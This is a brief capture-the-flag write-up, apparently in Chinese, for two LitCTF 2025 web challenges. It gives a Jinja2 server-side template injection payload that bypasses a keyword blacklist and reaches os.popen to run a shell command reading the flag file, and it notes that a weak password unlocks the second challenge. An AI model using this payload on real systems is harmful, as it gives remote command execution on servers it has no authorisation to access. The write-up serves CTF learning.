LitCTF-2025
LITCTF2025 Web 星愿信箱 经过测试是SSTI,可以通过设置变量绕过黑名单 {% set os = (lipsum | attr('__globals__')) | attr('get')('os') %} {% set popen = os | attr('popen') %} {% set input_cmd = "head /flag" %} {% set cmd = popen(input_cmd).read() %} {% print cmd %} nest_js 弱密码,登录就有flag ...